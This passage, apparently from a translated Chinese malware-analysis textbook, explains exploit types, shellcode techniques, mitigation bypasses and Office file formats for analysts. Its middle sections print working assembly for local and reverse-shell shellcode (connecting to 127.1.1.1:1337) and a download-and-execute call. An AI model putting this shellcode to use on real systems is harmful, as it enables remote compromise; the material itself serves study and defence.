  • 拒绝服务DoS):在这里,利用的目标是崩溃应用程序或整个系统,以破坏其正常操作。

  • 权限提升:在这种情况下,利用的主要目的是提升权限,以赋予攻击者更大的能力,比如访问更敏感的信息。

  • 未经授权的数据访问:这一组有时与权限提升类别合并,但在范围和向量上有所不同。在这里,攻击者可以访问未经授权的敏感信息,这些信息在正常情况下,根据权限设置,是无法获得的。与前一类别不同,攻击者在这种情况下不能使用不同权限执行任意操作,并且所使用的权限不一定更高 - 它们可能与具有类似访问级别的不同用户相关联。

  • 任意代码执行ACE):可能是最强大且最危险的一类,它允许攻击者执行任意代码并几乎执行任何操作。这段代码通常称为 shellcode,接下来会更详细地介绍。当代码通过网络远程执行时,我们所说的就是远程代码执行RCE)。

根据漏洞利用与目标软件的通信位置,可以将其分为以下几类:

  • 本地漏洞利用:在这里,漏洞是在目标机器上执行的,因此攻击者应该已经建立了对该机器的访问权限。常见的例子包括具有 DoS 或权限提升功能的漏洞。

  • 远程漏洞利用:这一类漏洞针对远程机器,这意味着它们可以在没有预先访问目标系统的情况下执行。一个常见的例子是 RCE 漏洞,这种漏洞会授予这种访问权限,但远程 DoS 漏洞也非常常见。

最后,如果漏洞利用针对的是一个尚未正式解决和修复的漏洞,那么它被称为零日漏洞

现在,深入探讨 shellcode 的各个方面。

破解 shellcode

在这一部分,我们将看看攻击者在利用漏洞时执行的代码。这段代码在没有头文件和已知内存地址的特殊条件下执行。让我们了解什么是 shellcode,以及如何为 Linux(Intel 和 ARM 处理器)编写 shellcode,稍后还会介绍 Windows 操作系统。

什么是 shellcode?

Shellcode 是一组精心设计的指令,一旦代码被注入到正在运行的应用程序中,就可以执行。由于大多数漏洞的情况,shellcode 必须是位置独立的代码(意味着它不需要在内存中的特定位置运行,也不需要基址重定位表来修复其地址)。Shellcode 还必须在没有可执行头文件或系统加载器的情况下操作。对于某些漏洞利用,shellcode 不能包含某些字节(特别是字符串类型缓冲区溢出时的空字节)。

现在,让我们看看 Windows 和 Linux 中的 shellcode 长什么样。

Linux 下的 x86-64 架构 shellcode

Linux 下的 shellcode 通常比 Windows 下的 shellcode 更简单排列。一旦程序计数器寄存器指向 shellcode,shellcode 就可以连续执行系统调用,来生成一个 shell、监听一个端口,或与攻击者建立连接,几乎不需要任何努力(关于 Linux 中系统调用的更多信息,可以查看第十一章解剖 Linux 和 IoT 恶意软件)。攻击者面临的主要挑战如下:

  • 获取 shellcode 的绝对地址(以便能够访问数据)

  • 从 shellcode 中移除任何空字节(可选)

现在,让我们来看看如何克服这些挑战。之后,我们将探讨不同类型的 shellcode。

获取绝对地址

这是一项相对简单的任务。这里,shellcode 滥用 call 指令,它将绝对返回地址保存在栈中(shellcode 可以通过 pop 指令获取该地址)。

这方面的一个例子如下:

  call next_ins
next_ins:
  pop eax ; now eax stores the absolute address of next_ins

在获取绝对地址后,shellcode 可以获取其中任何数据的地址,如下所示:

  call next_ins
next_ins:
  pop eax ; now eax has the absolute address of next_ins
  add eax, <data_sec – next_ins> ; now, eax stores the address of the data section
data_sec:
  db 'Hello, World',0

另一种常见的获取绝对地址的方法是使用 fstenv FPU 指令。该指令保存一些与 FPU 相关的调试参数,包括最后执行的 FPU 指令的绝对地址。可以像这样使用此指令:

_start:
  fldz
  fstenv [esp-0xc]
  pop eax
  add eax, <data_sec – _start>
data_sec:
  db 'Hello, World', 0

如你所见,shellcode 成功地获取了最后执行的 FPU 指令 fldz 的绝对地址,或者在这个例子中是 _start 的地址,这有助于获取 shellcode 中任何所需数据或字符串的地址。

无空字节的 shellcode

无空字节的 shellcode 是一种必须避免任何空字节以适应空终止字符串缓冲区的 shellcode。编写这种 shellcode 的作者必须改变他们编写代码的方式。让我们来看一个例子。

对于我们之前描述的 call/pop 方法,它们将被组装成以下字节:

图 8.4 – 在 OllyDbg 中的 call/pop

图 8.4 – 在 OllyDbg 中的 call/pop

如你所见,由于调用指令使用了相对地址,它产生了 4 个空字节。为了处理这种情况,shellcode 的编写者需要让相对地址为负数。像这样的情况可以正常工作:

图 8.5 – 在 OllyDbg 中的 call/pop,没有空字节

图 8.5 – 在 OllyDbg 中的 call/pop,没有空字节

下面是一些恶意软件作者为避免空字节所做的其他修改示例:

如你所见,在 shellcode 中执行这个并不难。你会发现,来自不同漏洞利用的绝大多数 shellcode(甚至是 Metasploit 中的 shellcode)都经过设计避免了空字节,即使漏洞利用本身不一定需要。

本地 shell shellcode

让我们从一个简单的例子开始,来启动一个 shell:

  jmp _end
_start:
  xor ecx, ecx
  xor eax, eax
  pop ebx     ; load /bin/sh in ebx
  mov al, 11   ; execve syscall ID
  xor ecx, ecx ; no arguments in ecx
  int 0x80     ; syscall
  mov al, 1    ; exit syscall ID
  xor ebx,ebx  ; no errors
  int 0x80     ; syscall
_end:
  call _start
  db '/bin/sh',0

让我们仔细看看这段代码:

  1. 首先,它执行 execve 系统调用来启动一个进程,在这个例子中是 /bin/sh,即 shell。

  2. execve 系统调用的原型如下所示:

    int execve(const char *filename, char *const argv[], char
    *const envp[]);
    
  3. 它通过使用 call/pop 技术获取绝对地址,将文件名 /bin/sh 设置到 ebx 中。

  4. 在这种情况下不需要指定额外的命令行参数,所以 ecx 被设置为零(xorecxecx 以避免空字节)。

  5. 在 shell 终止后,shellcode 执行 exit 系统调用,其定义如下:

    void _exit(int status);
    
  6. 它将状态设置为零,在程序正常退出时将 ebx 设为零。

在这个例子中,你已经看到 shellcode 如何通过启动 /bin/sh 来为攻击者提供一个 shell。对于 x64 版本,有一些不同之处:

  • int 0x80 被一个特殊的 Intel 指令 syscall 替代。

  • execve 系统调用的 ID 已更改为 0x3b (59),而 exit 的 ID 更改为 0x3c (60)。要知道每个 ID 代表什么功能,请查看官方的 Linux 系统调用表。

  • 它使用 rdi 作为第一个参数,rsi 作为下一个参数,接着是 rdxrcxr8r9,其余的在栈中。

代码将如下所示:

xor rdx, rdx
push rdx    ; null bytes after the /bin/sh
mov rax, 0x68732f2f6e69622f ; /bin/sh
push rax
mov rdi, rsp
push rdx    ; null arguments for /bin/sh
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b  ; execve system call
syscall
xor rdi, rdi
mov rax, 0x3c ; exit system call
syscall

如你所见,在 shellcode 方面,x86 和 x64 之间并没有太大区别。现在,让我们看看更高级的 shellcode 类型。

反向 shell shellcode

反向 shell shellcode 是最广泛使用的 shellcode 类型之一。这个 shellcode 会连接到攻击者,并在远程系统上为攻击者提供一个 shell,以便完全访问远程机器。为实现这一目标,shellcode 需要按照以下步骤执行:

  1. socket。这是该函数的定义:

    int socket(int domain, int type, int protocol);
    

你通常会看到它这样使用:

socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

在这里,AF_INET 代表大多数已知的互联网协议,包括 IPPROTO_IP(即 IP 协议)。SOCK_STREAM 用于表示 TCP 通信。从这个系统调用中,你可以理解这个 shellcode 正通过 TCP 与攻击者进行通信。汇编代码如下所示:

xor edx, edx  ; cleanup edx
push edx      ; protocol=IPPROTO_IP (0x0)
push 0x1      ; socket_type=SOCK_STREAM (0x1) 
push 0x2      ; socket_family=AF_INET (0x2)
mov ecx, esp  ; pointer to socket() args
xor ebx, ebx
mov bl, 0x1   ; SYS_SOCKET
xor eax,eax
mov al, 0x66  ; socketcall syscall ID
int 0x80
xchg edx, eax ; edx=sockfd (the returned socket)

在这里,shellcode 使用了 socketcall 系统调用(ID 为 0x66)。该系统调用表示多个系统调用,包括 socketconnectlistenbind 等。在 ebx 中,shellcode 设置要从 socketcall 列表中执行的函数。以下是 socketcall 支持的函数列表的一个片段:

SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5

shellcode 将参数压入栈中,然后将 ecx 设置为指向参数列表,将 ebx = 1(即 SYS_SOCKET),将系统调用 ID 设置到 eax(即 socketcall),接着执行系统调用。

  1. sockaddr_in 包含 IP、端口,并且再次使用 AF_INET。接着,shellcode 执行 socketcall 函数列表中的 connect 函数。其原型如下所示:

    int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
    

汇编代码将如下所示:

push 0x0101017f ; sin_addr=127.1.1.1 (network byte order)
xor ecx, ecx
mov cx, 0x3905
push cx      ; sin_port=1337 (network byte order)
inc ebx
push bx      ; sin_family=AF_INET (0x2)
mov ecx, esp    ; save pointer to sockaddr struct
push 0x10      ; addrlen=16
push ecx      ; pointer to sockaddr
push edx      ; sockfd
mov ecx, esp    ; save pointer to sockaddr_in struct
inc ebx      ; sys_connect (0x3)
int 0x80      ; exec sys_connect
  1. dup2 会将标准输入、输出和错误输出重定向到 socket。以下是该步骤的汇编代码:

      push 0x2
      pop ecx       ; set loop counter
      xchg ebx, edx ; save sockfd
    ; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
    loop:
      mov al, 0x3f  ; sys_dup2 systemcall ID
      int 0x80
      dec ecx       ; decrement loop-counter
      jns loop      ; as long as SF is not set -> continue
    

在前面的代码中,shellcode 将 stdin (0)stdout (1)stderr (2) 替换为 sockfd(即 socket 句柄),从而将任何输入、输出和错误分别重定向到攻击者。

  1. 如我们在上一节中看到的,execve 调用使用 /bin/sh

现在,你已经看到了更高级的 shellcode,你可以理解大多数知名的 shellcode 以及它们背后的方法论。对于绑定 shell 或下载并执行 shellcode,代码非常相似,且使用类似的系统调用,可能只有一两个额外的函数。在分析 shellcode 时,你需要先了解每个系统调用的定义以及它需要的参数。

这就是 x86(32 位和 64 位)的情况。现在,让我们简要看一下 ARM shellcoding 及其与 x86 之间的区别。

ARM 的 Linux shellcode

ARM 系统上的 shellcode 与使用 x86 指令集的 shellcode 非常相似。实际上,ARM 上的 shellcode 编写起来更加简单,因为不需要使用 call/pop 技术或 fstenv 来获取绝对地址。在 ARM 汇编语言中,你可以直接从代码中访问程序计数器寄存器 (pc),这使得编写代码变得更为简单。与 int 0x80syscall 不同,ARM shellcode 使用 svc #0svc #1 来执行系统函数。以下是一个用于执行本地 shell 的 ARM shellcode 示例:

_start:
  add r0, pc, #12 
  mov r1, #0
  mov r2, #0
  mov r7, #11 ; execve system call ID
  svc #1
.ascii "/bin/sh\0"

在前面的代码中,shellcode 设置 r0 为程序计数器 (pc) + 12,指向 /bin/sh 字符串。然后,它设置 execve 系统调用的其余参数,并调用 svc 指令来执行代码。

无空值 shellcode

ARM 指令通常是 32 位指令。然而,许多 shellcode 会切换到 Thumb 模式,这会将指令设置为 16 位,从而减少了出现空字节的概率。为了让 shellcode 切换到 Thumb 模式,通常会使用 BXBLX 指令。

执行后,所有指令都会切换到 16 位模式,这大大减少了空字节的出现。通过使用 svc #1 代替 svc #0,并避免使用包含空字节的立即数和指令,shellcode 可以达到无空值的目标。

在分析 ARM shellcode 时,确保在模式切换到 16 位而非 32 位后,反汇编所有指令。

现在我们已经讲解了适用于 Intel 和 ARM 处理器的 Linux shellcode,让我们来看一下 Windows shellcode。

Windows shellcode

Windows shellcode 比 Linux shellcode 更加复杂。在 Windows 中,你无法像在 Linux 中那样直接使用 sysenter 或中断,因为系统函数 ID 会随版本变化。Windows 提供了接口来访问其库中的功能,例如 kernel32.dll。Windows shellcode 必须找到 kernel32.dll 的基地址,并通过其导出表获取所需的 API 以实现其功能。在处理套接字 API 时,攻击者可能需要通过 LoadLibraryA/LoadLibraryExA 加载额外的 DLL。

Windows shellcode 按照以下步骤实现其目标:

  1. 获取绝对地址(我们在前一部分已经讲解过)。

  2. 获取 kernel32.dll 的基地址。

  3. kernel32.dll 获取所需的 API。

  4. 执行有效载荷。

现在我们已经讲解了 shellcode 如何获取绝对地址,接下来我们来看看它是如何获取 kernel32.dll 的基地址的。

获取 kernel32.dll 的基地址

kernel32.dll 是 shellcode 使用的主要 DLL。它包含像 LoadLibrary 这样的 API,用于加载其他库,还有 GetProcAddress,可以获取加载到内存中的库中任意 API 的地址。

要访问任何 DLL 中的任何 API,shellcode 必须获取 kernel32.dll 的地址并解析其导出表。当应用程序加载到内存中时,Windows 操作系统会加载其核心库,如 kernel32.dllntdll.dll,并将这些库的地址及其他信息保存在 PEB 中的 kernel32.dll 中,如下所示(对于 32 位系统):

mov eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch]
mov ebx,dword ptr [eax+1Ch]
mov ebx,dword ptr [ebx]
mov esi,dword ptr [ebx+8h]

第一行从 FS 段寄存器获取 PEB 地址(在 x64 中,它将是 GS 寄存器,并具有不同的偏移量)。然后,第二行和第三行获取 PEB->LoaderData->InInitializationOrderModuleList

InInitializationOrderModuleList 是一个 DLL,其中包含关于所有已加载模块(PE 文件)在内存中的信息(如 kernel32.dllntdll.dll 和应用程序本身),以及基地址、文件名和其他信息。

InInitializationOrderModuleList 中,你将看到的第一个条目是 ntdll.dll。为了获取 kernel32.dll,shellcode 必须转到列表中的下一个项。因此,在第四行,shellcode 在跟踪前向链接(ListEntry->FLink)时获取下一个项。它从第五行获得有关 DLL 的可用信息来获取基地址。

从 kernel32.dll 获取所需的 API

为了让 shellcode 能够访问 kernel32.dll 的 API,它需要解析其导出表。导出表由三个数组组成。第一个数组是 AddressOfNames,其中包含 DLL 文件中 API 的名称。第二个数组是 AddressOfFunctions,它包含所有这些 API 的相对地址RVAs):

Figure 8.6 – 导出表结构(数字不是真实的,仅作为示例)

图 8.6 – 导出表结构(数字不是真实的,仅作为示例)

然而,这里存在的问题是,这两个数组的对齐方式不同。例如,GetProcAddress 可能在 AddressOfNames 的第三项中,但它在 AddressOfFunctions 的第五项中。

为了处理这个问题,Windows 创建了一个名为 AddressOfNameOrdinals 的第三个数组。该数组与 AddressOfNames 对齐,并包含 AddressOfFunctions 中每个项的索引。请注意,AddressOfFunctionsAddressOfNameOrdinalsAddressOfNames 多项,因为并非所有 API 都有名称。没有等效名称的 API 使用它们的 ID(即在 AddressOfNameOrdinals 中的索引)进行访问。导出表看起来大致如下:

图 8.7 – 导出表解析器(winSRDF 项目)

图 8.7 – 导出表解析器(winSRDF 项目)

为了让 shellcode 获取其所需 API 的地址,它应该在 AddressOfNames 中搜索所需 API 的名称,然后取出其索引,并在 AddressOfNameOrdinals 中搜索该索引,以找到在 AddressOfFunctions 中该 API 对应的索引。通过这种方式,它将能够获取该 API 的相对地址。shellcode 将这些地址与 kernel32.dll 的基地址相加,从而得到该 API 的完整地址。在大多数情况下,shellcode 通常不将 API 名称与它需要硬编码的字符串进行匹配,而是使用其哈希值(更多信息请参见 第六章绕过反向工程技术)。

下载并执行的 shellcode

该 shellcode 使用了位于 urlmon.dll 中的一个 API,名为 URLDownloadToFileA。顾名思义,它从给定的 URL 下载文件并将其保存在硬盘中,当它提供了所需的路径时。此 API 的定义如下:

URLDownloadToFile(LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB);

只需要 szURLszFilename。其余的参数通常设置为 null。文件下载完成后,shellcode 会使用 CreateProcessAWinExecShellExecute 执行该文件。对应的 C 代码可能如下所示:

URLDownloadToFileA(0,"https://localhost:4444/calc.exe","calc.exe",0,0); WinExec("calc.exe",SW_HIDE);

正如你所看到的,payload 非常简单,却非常有效地执行了攻击的第二阶段,这可能是一个后门,用于维持持久性,并与攻击者通信,窃取有价值的信息。

漏洞的静态与动态分析

现在我们已经了解了漏洞的样子以及它们的工作原理,接下来总结一些分析漏洞时的实用技巧和窍门。

分析工作流程

首先,你需要仔细收集任何先前的知识:漏洞是在哪种环境中发现的,是否已经知道了被攻击的软件及其版本,以及漏洞是否已经成功触发。所有这些信息将帮助你正确模拟测试环境,并成功重现预期的行为,这对于动态分析非常有帮助。

其次,确认攻击载荷如何与目标应用程序交互也很重要。通常,攻击载荷通过预期的输入通道传递(无论是监听的套接字、Web 表单或 URI,还是可能是格式不正确的文档、配置文件或 JavaScript 脚本),但也可能有其他被忽视的选项(例如,环境变量和依赖模块)。此时,下一步是使用这些信息成功重现攻击过程,并识别可以确认攻击的指示器。例如,目标应用程序可能会以某种特定方式崩溃,或执行特定的操作,可以通过适当的系统监控工具看到(例如,监控文件、注册表或网络操作或访问的 API)。如果涉及 Shellcode,其分析可能会提供有关预期攻击后行为的有价值信息。

在此之后,你需要识别目标漏洞。MITRE 公司通过为所有公开已知的漏洞分配相应的常见漏洞和暴露CVE)标识符,来维护一个漏洞列表,便于参考(例如,CVE-2018-9206)。有时,可能已经通过杀毒软件检测或公开发布知道该漏洞,但无论如何,最好进行确认。

首先检查独特的字符串,因为它们可能会给你提供关于目标软件交互部分的线索。与大多数其他类型的恶意软件不同,静态分析在这种情况下可能不够。由于攻击载荷与目标软件密切合作,因此需要在其上下文中进行分析,这在许多情况下需要动态分析。

在这里,你需要使用自己偏好的调试器拦截攻击载荷的交付时刻,但此时载荷尚未被处理。之后,可以通过多种方式继续分析。一种方法是仔细检查负责处理该载荷的高层函数(无需逐个进入每个函数),并监视触发时刻。一旦触发,就有可能缩小搜索范围,集中精力分析已识别函数的子函数。然后,工程师可以重复此过程,直到找到漏洞为止。

另一种方法是先在攻击载荷中搜索可疑条目(如损坏的字段、具有高熵的大二进制块、包含十六进制符号的长行等),并监视目标软件如何处理它们。如果涉及到 Shellcode,可以在其开头用断点或无限循环指令修补(分别为(\xCC\xEB\xFE),然后执行重现攻击的步骤,等待插入的指令执行,并检查堆栈跟踪,以查看哪些函数被调用以达到这一点。

总体而言,通常建议在虚拟化环境或仿真环境中进行动态分析,因为在漏洞利用的情况下,发生错误并失去执行控制的可能性更大。因此,能够恢复先前的调试和环境状态是非常方便的。

这些技术是通用的,可以应用于几乎所有类型的漏洞利用。无论工程师是否需要分析浏览器漏洞(通常是用 JavaScript 编写的)或本地权限提升代码,区别主要在于测试环境的设置。

Shellcode 分析

如果您需要分析二进制 shellcode,您可以使用适用于目标架构和平台的调试器(例如 32 位 Windows 的 OllyDbg),通过复制 shellcode 的十六进制表示并使用二进制粘贴选项来进行分析。还可以使用unicornlibemu(一个小型 x86 指令仿真库)或Pokas x86 Emulator等工具,这些工具是pySRDF项目的一部分,用于仿真 shellcode。其他有用的动态分析工具包括scdbgqltoolqiling框架的一部分)。

另一种流行的解决方案是将其转换为可执行文件。之后,您可以像分析任何常见的恶意软件样本一样,静态和动态分析它。一种选择是使用shellcode2exe.py脚本,但不幸的是,它的一个核心依赖不再受支持,因此可能难以设置。另一种选择是通过将 shellcode 复制并粘贴到相应的模板中,手动编译可执行文件:

unsigned char code[] = {<output of xxd –i against the shellcode>};
int main(int argc, char **argv)
{
        int (*func)();
        func = (int (*)()) code;
        (int)(*func)();
}

可能需要将执行标志添加到数据段中,以使 shellcode 可执行。

最后,您还可以直接在调试器中打开任何可执行文件,然后将 shellcode 粘贴到现有代码中。例如,在 x64dbg 中,可以通过右键单击并选择Binary | **Paste (Ignore Size)**来完成。

为了分析 ROP 链,您需要访问目标应用程序和系统,以便在那里动态解析实际指令。

探索绕过漏洞利用缓解技术

由于即使在对软件开发人员进行安全编码培训和意识提升后,同样类型的漏洞仍然不断出现,因此已经引入了新的方法来减少这些漏洞的影响并使其无法用于远程代码执行。

特别是,各种级别的多种漏洞利用缓解技术已经被开发出来,使攻击者很难甚至不可能成功执行他们的 shellcode。我们来看看为此目的创建的一些最著名的缓解措施。

数据执行防护(DEP/NX)

数据执行防护(DEP)是最早被提出用于防止漏洞和 shellcode 攻击的技术之一。其背后的理念是阻止在任何没有EXECUTE权限的内存页内执行代码。此技术可以通过硬件支持,一旦 shellcode 在栈或堆(或任何没有此权限的内存位置)中执行,就会引发异常。

这项技术并未完全阻止攻击者执行他们的有效载荷并利用内存损坏漏洞。他们发明了一种新技术来绕过 DEP/NX,称为面向返回的编程ROP)。

面向返回的编程

ROP 的主要思路是,攻击者不直接设置返回地址指向 shellcode,而是将返回地址设置为重定向执行到程序内部或其任何模块中的现有代码,并通过链式指令重现 shellcode。这些被误用的小段代码大致如下:

mov eax, 1
pop ebx
ret

例如,在 Windows 上,攻击者可以尝试将执行重定向到VirtualProtect API,改变栈(或堆)中 shellcode 所在部分的权限,并执行该 shellcode。或者,可以使用VirtualAllocmemcpy,或WriteProcessMemoryHeapAlloc及任何内存复制 API,或SetProcessDEPPolicyNtSetInformationProcess等 API 来禁用 DEP。

这里的技巧是使用模块的导入地址表IAT)来获取这些 API 的地址,从而攻击者可以将执行重定向到该 API 的开头。在 ROP 链中,攻击者将所有这些 API 所需的参数放置好,接着返回到他们希望执行的 API。下面是一个例子:

Figure 8.8 – CVE-2018-6892 漏洞的 ROP 链

图 8.8 – CVE-2018-6892 漏洞的 ROP 链

一些 ROP 链可以在不返回 shellcode 的情况下执行所需的有效载荷。有一些自动化工具帮助攻击者搜索这些小型代码片段,并构造有效的 ROP 链。mona.py就是其中一个工具,它是 Immunity Debugger 的插件。

如你所见,仅有 DEP 并不能阻止攻击者执行他们的 shellcode。然而,结合地址空间布局随机化ASLR)这两种防御技术,使得攻击者很难成功执行有效载荷。让我们来看一下 ASLR 是如何工作的。

地址空间布局随机化

ASLR 是一种缓解技术,被多个操作系统使用,包括 Windows 和 Linux。其背后的想法是随机化应用程序和 DLL 在进程内存中的加载地址。系统不再使用预定义的 ImageBase 值作为基址,而是使用随机地址,这使得攻击者很难构造他们的 ROP 链,因为这些链通常依赖于组成它的指令的静态地址。

现在,让我们来看一些常见的绕过方式。

DEP 和部分 ASLR

为了使 ASLR 生效,要求应用程序及其所有库在编译时启用 ASLR 标志,例如 GCC 编译器的 -fstack-protector-pie -fPIE,但这并非总是可能的。如果至少有一个模块不支持 ASLR,攻击者就有可能在该模块中找到所需的 ROP 工具。这对于有大量由第三方编写的插件的工具或使用多个不同库的应用程序尤其如此。虽然 kernel32.dll 的基址仍然是随机化的(因此攻击者不能直接返回到 API 内部),但它可以通过已加载的非 ASLR 模块的导入表轻松访问。

DEP 和完整的 ASLR – 部分 ROP 和多重漏洞链

在所有库都支持 ASLR 的情况下,编写利用代码会变得更加困难。已知的技术是将多个漏洞链在一起。例如,一个漏洞负责信息泄露,另一个漏洞负责内存损坏。信息泄露漏洞可能会泄露一个模块的地址,帮助基于该地址重建 ROP 链。利用代码可能包含一个仅由 RVA(相对地址,不包含基地址值)组成的 ROP 链,并实时利用信息泄露漏洞泄露地址,从而重建 ROP 链并执行 shellcode。这种类型的利用在脚本语言中更为常见,例如,利用 JavaScript 攻击漏洞。利用这种脚本语言的强大功能,攻击者可以在目标机器上构造 ROP 链。

其中一个例子是被称为 CVE-2019-0859 的本地特权提升漏洞,存在于 win32k.sys 中。攻击者利用一种已知的现代 Windows 版本(适用于 Windows 7、8 和 10)技术,称为 HMValidateHandle 技术。它使用一个由 IsMenu API 调用的 HMValidateHandle 函数,该函数在 user32.dll 中实现。给定一个已经创建的窗口句柄,该函数返回其在内核内存中的内存对象地址,从而导致信息泄露,这可以帮助设计利用代码,如下所示的屏幕截图所示:

图 8.9 – 使用 HMValidateHandle 技术泄漏内核内存地址

图 8.9 – 使用 HMValidateHandle 技术的内核内存地址泄露

这种技术在基于栈的溢出漏洞中效果很好。但对于堆溢出或使用后释放漏洞,出现了一个新问题,那就是 shellcode 在内存中的位置未知。在基于栈的溢出中,shellcode 存储在栈中,并由 esp 寄存器指向,但在堆溢出中,更难预测 shellcode 将位于何处。在这种情况下,通常使用另一种技术,称为 堆喷射

完全 ASLR – 堆喷射技术

这种技术的原理是通过在应用程序的内存中填充大量的 shellcode 副本,使得多个地址指向同一 shellcode,从而以非常高的概率执行它。这里的主要问题是确保这些地址指向 shellcode 的开始位置,而不是中间位置。通过使用某种 shellcode 填充技术可以实现这一点。最著名的例子是使用大量的 nop 字节(称为nop 滑梯nop 漫游nop 坡道),或者任何没有重大效果的指令,放在 shellcode 前面:

图 8.10 – 堆喷射技术

图 8.10 – 堆喷射技术

如你所见,攻击者使用了 0x0a0a0a0a 地址来指向其 shellcode。由于堆喷射技术的存在,这个具有相对高概率的地址可能指向 shellcode 块中的 nop 指令,进而启动 shellcode。

DEP 和完全 ASLR – JIT 喷射

这种技术与堆喷射非常相似,唯一的区别是块分配是通过滥用 EXECUTE 权限来引起的,因为这些权限本应存储生成的汇编指令。通过这种方式,DEP 可以与 ASLR 一起绕过。

其他防护技术

为了防止被利用,已经引入了几种其他的防护技术。我们这里只提及其中的一些:

  • ret 指令。这种技术使得攻击者更难通过栈溢出漏洞修改返回地址,因为这个值对他们来说是未知的。然而,这种方法有多种绕过方式,其中之一是覆盖 SEH 地址,并在 GS cookie 被检查之前强制触发异常。覆盖 SEH 地址是非常有效的,这也导致了引入其他防护措施来应对这一问题。

  • 结构化异常处理覆盖保护 (SEHOP):这种防护技术会执行额外的安全检查,以确保 SEH 链没有被破坏。

  • SafeSEH:这种防护措施直接保护应用程序免受覆盖 SEH 地址的内存破坏。在这种情况下,SEH 地址不再存储在栈中,而是被引用于 PE 头中的一个单独的数据目录,该目录包含所有应用程序函数的 SEH 地址。

这些就是最常见的缓解措施。现在,让我们讨论其他类型的漏洞。

分析 Microsoft Office 漏洞

虽然微软 Office 主要与 Windows 操作系统相关联,但它也已经支持 macOS 操作系统几十年了。此外,其他各种办公软件套件,如 Apache OpenOffice 和 LibreOffice,也能识别它使用的文件格式。在本节中,我们将研究恶意文档利用漏洞进行恶意操作,并学习如何分析这些漏洞。

文件结构

在分析任何利用时,首先要清楚的是与这些漏洞相关的文件如何结构化。让我们看看攻击者常用的一些与 Microsoft Office 相关的文件格式,这些文件格式被用来存储和执行恶意代码。

复合文件二进制格式

这可能是最著名的文件格式,可以在与各种旧版和新版 Microsoft Office 产品相关的文档中找到,例如 .doc(Microsoft Word)、.xls(Microsoft Excel)、.ppt(Microsoft PowerPoint)等。曾经完全是专有格式,后来发布给公众,现在它的规范可以在网上找到。让我们通过一些最重要的部分,来分析它在恶意软件分析中的应用。

复合文件二进制CFB)格式,也称为 OLE2,提供了一种类文件系统的结构,用于在扇区中存储特定应用的数据流:

图 8.11 – OLE2 头部解析

图 8.11 – OLE2 头部解析

这是其头部结构,存储在第一个扇区的开始处:

  • \xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1(其中前四个字节的十六进制格式类似于 DOCFILE 字符串)

  • Header CLSID16 字节):未使用的类 ID;必须为零

  • Minor version2 字节):对于主版本 3 和 4,这个值始终为 0x003E

  • Major version2 字节):主版本号,可以是 0x0003 或 0x0004

  • Byte order2 字节):始终为 0xFFFE,表示小端字节序

  • Sector shift2 字节):作为 2 的幂次方的扇区大小,对于主版本 3 为 0x0009(2⁹ = 512 字节),对于主版本 4 为 0x000C(2¹² = 4,096 字节)

  • Mini sector shift2 字节):始终为 0x0006,表示迷你流的扇区大小(2⁶ = 64 字节)

  • Reserved6 字节):必须设置为零

  • Number of directory sectors4 字节):表示 目录 扇区的数量,对于主版本 3 始终为零(不支持)

  • Number of FAT sectors4 字节):FAT 扇区的数量

  • First directory sector location4 字节):表示目录流的起始扇区号

  • Transaction signature number4 字节):存储支持事务的文件中的事务序列号,或其他情况下为零

  • Mini 流截止大小4 字节):始终为 0x00001000,表示与 MiniFAT 数据关联的用户定义数据流的最大大小

  • 第一个 MiniFAT 扇区位置4 字节):存储 MiniFAT 扇区的起始扇区号

  • MiniFAT 扇区数量4 字节):用于存储多个 MiniFAT 扇区

  • 第一个 DIFAT 扇区位置4 字节):DIFAT 数据的起始扇区号

  • DIFAT 扇区数量4 字节):存储多个 DIFAT 扇区

  • DIFAT436 字节):一个整数数组(每个 4 字节),表示 FAT 扇区的前 109 个位置:

图 8.12 – DIFAT 数组仅提到一个 ID 为 0x2D 的 FAT 扇区

图 8.12 – DIFAT 数组仅提到一个 ID 为 0x2D 的 FAT 扇区

如你所见,可以使用常规的扇区和操作小尺寸扇区的 mini 流来分配内存:

  • 文件分配表FAT):这是主要的空间分配器。每个流由一个扇区链表示,其中每个条目包含下一个扇区的 ID,直到链终止符。这个链信息存储在专用的 FAT 扇区中:

图 8.13 – FAT 扇区存储关于扇区链的信息

图 8.13 – FAT 扇区存储关于扇区链的信息

  • MiniFAT:这是 mini 流和小型用户定义数据的分配器:

图 8.14 – MiniFAT 扇区存储关于 mini 流链的信息

图 8.14 – MiniFAT 扇区存储关于 mini 流链的信息

如前所述,对于链中的每个扇区,都会存储下一个扇区的 ID,直到最后一个包含 ENDOFCHAIN0xFFFFFFFE)值的扇区,头部占用一个常规扇区,并根据扇区大小填充其值(如果需要):

图 8.15 – 头部后续扇区链的示例

图 8.15 – 头部后续扇区链的示例

还有几个其他辅助存储类型,包括以下内容:

  • 双重间接文件分配表DIFAT):存储 FAT 扇区的位置(前面已解释)

  • 目录:存储存储和流对象的元数据

在这里,流和存储对象的使用方式类似于典型文件系统中的文件和目录:

图 8.16 – 单个存储对象中的多个流

图 8.16 – 单个存储对象中的多个流

根目录将是目录链中第一个扇区的第一个条目;它既作为流又作为存储对象。它包含指向存储 mini 流的第一个扇区的指针:

图 8.17 – 根目录

图 8.17 – 根目录

.xls 文件中,Workbook 主要流遵循 .doc 文件,WordDocument 流应以 FIB 结构开头。

知道文件结构如何允许逆向工程师识别可能导致意外行为的异常。

现在,让我们专注于 富文本格式RTF)文档。

富文本格式

RTF 是另一种专有的微软格式,具有公开的规范,可用于创建文档。最初其语法受 TeX 语言影响,这是由唐纳德·克努斯开发的跨平台语言。第一版的阅读器和写入器与微软 Word 产品一同发布,适用于 Macintosh 计算机。与我们描述的其他文档格式不同,它在通常的文本编辑器中是人类可读的,无需任何预处理。

除了实际文本外,所有 RTF 文档都使用以下元素实现:

  • \rtfN: 可在任何 RTF 文档开头找到的起始控制词,其中 N 表示主要格式版本(当前为 1)。

重要提示

值得一提的是,如果 fN 的部分未强制执行,RTF 文档将被 MS Office 视为有效,即使其不存在或替换为其他内容。

  • \ansi: 在 \rtfN 之后的受支持字符集之一。

